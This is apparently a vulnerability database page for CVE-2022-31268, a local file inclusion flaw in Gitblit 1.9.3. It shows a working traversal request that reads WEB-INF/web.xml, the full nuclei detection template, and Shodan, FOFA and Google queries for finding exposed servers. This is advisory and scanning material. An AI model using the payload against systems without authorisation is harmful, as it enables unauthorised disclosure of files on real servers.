Browse / CVEs / CVE-2022-31268
CVE-2022-31268· gitblit / gitblit· CWE-22
Gitblit 1.9.3 - Local File Inclusion
highseverity
7.5CVSS score
10.7%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it
Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).
Impact
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
Fix
Upgrade Gitblit to a version that is not affected by the vulnerability (CVE-2022-31268).
How to confirm it
Send: GET {{BaseURL}}/resources//../WEB-INF/web.xml
Positive when: contains "</web-app>" and "java.sun.com" and "gitblit.properties" AND contains in header "application/xml" AND status 200Run it with nuclei: nuclei -id CVE-2022-31268 -u <target>
The full check
id: CVE-2022-31268
info:
name: Gitblit 1.9.3 - Local File Inclusion
author: 0x_Akoko
severity: high
description: |
Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname).
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
remediation: |
Upgrade Gitblit to a version that is not affected by the vulnerability (CVE-2022-31268).
reference:
- https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md
- https://vuldb.com/?id.200500
- https://nvd.nist.gov/vuln/detail/CVE-2022-31268
- https://github.com/Marcuccio/kevin
- https://github.com/20142995/sectool
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-31268
cwe-id: CWE-22
epss-score: 0.10694
epss-percentile: 0.95849
cpe: cpe:2.3:a:gitblit:gitblit:1.9.3:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: gitblit
product: gitblit
shodan-query:
- http.html:"Gitblit"
- http.title:"gitblit"
- http.html:"gitblit"
fofa-query:
- title="gitblit"
- body="gitblit"
google-query: intitle:"gitblit"
tags: cve,cve2022,lfi,gitblit,vuln
http:
- method: GET
path:
- "{{BaseURL}}/resources//../WEB-INF/web.xml"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</web-app>"
- "java.sun.com"
- "gitblit.properties"
condition: and
- type: word
part: header
words:
- "application/xml"
- type: status
status:
- 200References
- https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md
- https://vuldb.com/?id.200500
- https://nvd.nist.gov/vuln/detail/CVE-2022-31268
- https://github.com/Marcuccio/kevin
- https://github.com/20142995/sectool
Use this check only on systems you are authorised to test. Where the data comes from